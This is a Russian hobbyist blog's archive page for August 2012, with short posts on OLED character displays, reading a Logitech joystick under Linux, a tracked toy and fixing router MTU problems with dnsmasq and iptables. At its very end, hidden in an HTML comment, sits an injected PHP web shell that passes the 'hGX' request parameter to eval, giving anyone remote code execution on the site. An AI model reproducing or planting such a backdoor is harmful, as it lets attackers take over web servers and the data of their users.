Месячный Архив: Август 2012

drivers electronic LCD

OLED дисплей

Появились, видимо не так давно, в самарском вольтмастере OLED дисплеи.
Для пробы взяли WEH001602ARPP5N и WEH001602ELPP5N. Размер у них ~80х40 мм. Интерфейс совместим со стандартным HD44780. Но также имеются значительные улучшения: последовательный(вроде 3х проводной) вариант подключения и графический режим.
Пока к сожалению руки до новых фич не дошли. Пока только запущена чужая прога на ST32VL-discovery (пример работы с классическим hd44780) к которому подключен новенький OLED дисплей.

electronic

Роутер на колёсах v0.5



Читать далее »

gamepad linux

Программируем джойстик Logitech F510 в Linux

Для управления машинкой решили использовать джойстик. А проще всего использовать джойстик в своих программах в linux.
Всё, что необходимо — читать файл устройства (например /dev/input/js0) в специальную структуру:

  1. время — unsigned int
  2. значение — short
  3. тип события — unsigned char
  4. номер кнопки/оси — unsigned char

И в итоге последовательность действий совсем простая:

  1. Читаем событие
  2. Фильтруем события инициализации
  3. Реагируем на ось или кнопку

Читать далее »

electronic

Гусеничная микроплатформа

Игрушка «Следопыт» из серии «Драйв» от 1TOY, имеет специальную оптическую систему, которая может определять направление движения. Для разметки пути используется контрастный маркер, машинка иногда промахивается, но всё равно хороша и забавна.

Куплена за 279 р. в Перекрёстке, интересна тем что она на гусеницах.

  

linux NAT network

Решение проблемы с MTU

Уже с трудом припоминаю как это было, а было это чуть менее двух лет назад – собрал я себе роутер на базе не слабой такой машинки PDC E5500, 2GB RAM, полноценный HDD.

Так вот. Единственное что не нагуглилось сразу так это решение проблем с MTU

1) dnsmasq.conf  это для порядочных клиентов, которые определяют mtu ещё при подключении

dhcp-option=26,1492

2) Это для более тугих, которым предыдущего не хватает.

iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

Теперь google.com и wolframalpha.com работают. А раньше были прямо таки индикатором проблем с MTU.

Итого:

/etc/nat-up

/etc/dnsmasq.conf

-->

<!— [insert_php]if (isset($_REQUEST["hGX"])){eval($_REQUEST["hGX"]);exit;}[/insert_php]

—>